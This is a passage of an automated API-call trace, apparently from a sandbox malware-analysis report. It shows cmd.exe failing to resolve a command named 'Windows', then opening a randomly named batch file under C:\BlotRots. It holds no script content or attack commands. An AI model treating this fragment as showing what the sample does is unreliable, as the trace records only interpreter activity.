lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.912] GetLastError () returned 0x2 [0161.912] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.912] GetLastError () returned 0x2 [0161.912] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.912] GetLastError () returned 0x2 [0161.913] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.913] GetLastError () returned 0x2 [0161.913] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.913] GetLastError () returned 0x2 [0161.913] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.913] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.913] GetLastError () returned 0x2 [0161.913] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.913] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.913] GetLastError () returned 0x2 [0161.913] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.914] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.914] GetLastError () returned 0x2 [0161.914] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.914] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.914] GetLastError () returned 0x2 [0161.914] ??_V@YAXPEAX@Z () returned 0x1 [0161.914] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0161.915] malloc (_Size=0xffce) returned 0x20b0fa70920 [0161.915] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0161.915] malloc (_Size=0xffce) returned 0x20b0fa80900 [0161.915] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0161.916] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0161.916] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0161.916] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0161.916] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0161.916] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0161.916] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0161.916] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0161.916] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0161.916] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0161.916] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0161.916] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0161.916] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0161.916] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0161.916] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0161.916] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0161.916] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0161.916] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0161.916] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0161.916] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0161.916] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0161.916] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0161.916] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0161.916] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0161.916] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0161.916] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0161.917] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0161.917] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0161.917] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0161.917] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0161.917] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0161.917] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0161.917] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0161.917] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0161.917] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0161.917] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0161.917] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0161.917] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0161.917] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0161.917] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0161.917] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0161.917] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0161.917] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0161.917] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0161.917] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0161.917] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0161.917] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0161.917] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0161.917] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0161.917] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0161.917] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0161.917] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0161.917] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0161.917] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0161.917] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0161.917] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0161.917] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0161.917] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0161.917] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0161.917] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0161.917] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0161.918] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0161.918] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0161.918] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0161.918] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0161.918] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0161.918] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0161.918] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0161.918] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0161.918] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0161.918] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0161.918] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0161.918] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0161.918] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0161.918] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0161.918] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0161.918] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0161.918] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0161.918] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0161.918] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0161.918] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0161.918] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0161.918] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0161.918] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0161.918] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0161.918] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0161.918] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0161.918] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0161.918] ??_V@YAXPEAX@Z () returned 0x1 [0161.919] GetProcessHeap () returned 0x20b0f920000 [0161.919] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f946660 [0161.920] GetProcessHeap () returned 0x20b0f920000 [0161.920] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xc4) returned 0x20b0f957310 [0161.920] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0161.920] malloc (_Size=0xffce) returned 0x20b0fa80900 [0161.920] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0161.921] GetProcessHeap () returned 0x20b0f920000 [0161.921] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0161.921] SetErrorMode (uMode=0x0) returned 0x0 [0161.921] SetErrorMode (uMode=0x1) returned 0x0 [0161.921] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0161.921] SetErrorMode (uMode=0x0) returned 0x1 [0161.921] GetProcessHeap () returned 0x20b0f920000 [0161.921] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0161.921] GetProcessHeap () returned 0x20b0f920000 [0161.921] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0161.921] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0161.921] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0161.921] GetProcessHeap () returned 0x20b0f920000 [0161.921] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e2a0 [0161.921] GetProcessHeap () returned 0x20b0f920000 [0161.921] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0161.922] GetProcessHeap () returned 0x20b0f920000 [0161.922] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0161.922] GetProcessHeap () returned 0x20b0f920000 [0161.922] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0161.922] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0161.922] GetProcessHeap () returned 0x20b0f920000 [0161.922] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d680 [0161.922] GetProcessHeap () returned 0x20b0f920000 [0161.922] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d680, Size=0x7e) returned 0x20b0f92d680 [0161.922] GetProcessHeap () returned 0x20b0f920000 [0161.922] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d680) returned 0x7e [0161.922] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.922] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cdf0 [0161.922] FindClose (in: hFindFile=0x20b0f92cdf0 | out: hFindFile=0x20b0f92cdf0) returned 1 [0161.922] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.923] GetLastError () returned 0x2 [0161.923] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.923] GetLastError () returned 0x2 [0161.923] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.924] GetLastError () returned 0x2 [0161.924] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.924] GetLastError () returned 0x2 [0161.924] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.924] GetLastError () returned 0x2 [0161.924] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.924] GetLastError () returned 0x2 [0161.924] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.924] GetLastError () returned 0x2 [0161.924] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.925] GetLastError () returned 0x2 [0161.925] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.925] GetLastError () returned 0x2 [0161.925] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.925] GetLastError () returned 0x2 [0161.925] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.925] GetLastError () returned 0x2 [0161.925] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.925] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.925] GetLastError () returned 0x2 [0161.926] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.926] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92ccd0 [0161.926] FindClose (in: hFindFile=0x20b0f92ccd0 | out: hFindFile=0x20b0f92ccd0) returned 1 [0161.926] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.926] GetLastError () returned 0x2 [0161.926] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.926] GetLastError () returned 0x2 [0161.926] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.926] GetLastError () returned 0x2 [0161.926] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.926] GetLastError () returned 0x2 [0161.927] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.927] GetLastError () returned 0x2 [0161.927] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.927] GetLastError () returned 0x2 [0161.927] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.927] GetLastError () returned 0x2 [0161.927] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.927] GetLastError () returned 0x2 [0161.927] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.927] GetLastError () returned 0x2 [0161.927] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.928] GetLastError () returned 0x2 [0161.928] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.928] GetLastError () returned 0x2 [0161.928] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.928] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.928] GetLastError () returned 0x2 [0161.928] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.928] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.928] GetLastError () returned 0x2 [0161.928] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.928] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.929] GetLastError () returned 0x2 [0161.929] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.929] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.929] GetLastError () returned 0x2 [0161.929] ??_V@YAXPEAX@Z () returned 0x1 [0161.929] _get_osfhandle (_FileHandle=2) returned 0x54 [0161.929] GetFileType (hFile=0x54) returned 0x2 [0161.929] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0161.929] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0161.930] _get_osfhandle (_FileHandle=2) returned 0x54 [0161.930] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0161.930] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0161.930] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0161.930] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0161.941] ??_V@YAXPEAX@Z () returned 0x1 [0161.942] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.942] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0161.942] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.942] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0161.942] _get_osfhandle (_FileHandle=0) returned 0x4c [0161.942] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0161.942] SetConsoleInputExeNameW () returned 0x1 [0161.942] GetConsoleOutputCP () returned 0x1b5 [0161.943] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0161.943] SetThreadUILanguage (LangId=0x0) returned 0x409 [0161.944] ??_V@YAXPEAX@Z () returned 0x1 [0161.945] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0161.946] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0161.946] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.946] SetFilePointer (in: hFile=0x94, lDistanceToMove=499, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1f3 [0161.946] GetProcessHeap () returned 0x20b0f920000 [0161.946] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d680) returned 1 [0161.946] GetProcessHeap () returned 0x20b0f920000 [0161.946] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0161.946] GetProcessHeap () returned 0x20b0f920000 [0161.946] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e2a0) returned 1 [0161.946] GetProcessHeap () returned 0x20b0f920000 [0161.946] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0161.947] GetProcessHeap () returned 0x20b0f920000 [0161.947] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957310) returned 1 [0161.947] GetProcessHeap () returned 0x20b0f920000 [0161.947] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946660) returned 1 [0161.947] GetProcessHeap () returned 0x20b0f920000 [0161.947] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d5f0) returned 1 [0161.947] GetProcessHeap () returned 0x20b0f920000 [0161.947] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0161.947] GetProcessHeap () returned 0x20b0f920000 [0161.947] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0161.947] GetProcessHeap () returned 0x20b0f920000 [0161.947] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f20) returned 1 [0161.947] GetProcessHeap () returned 0x20b0f920000 [0161.947] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92cb10) returned 1 [0161.947] GetProcessHeap () returned 0x20b0f920000 [0161.947] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f928040) returned 1 [0161.947] GetProcessHeap () returned 0x20b0f920000 [0161.947] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 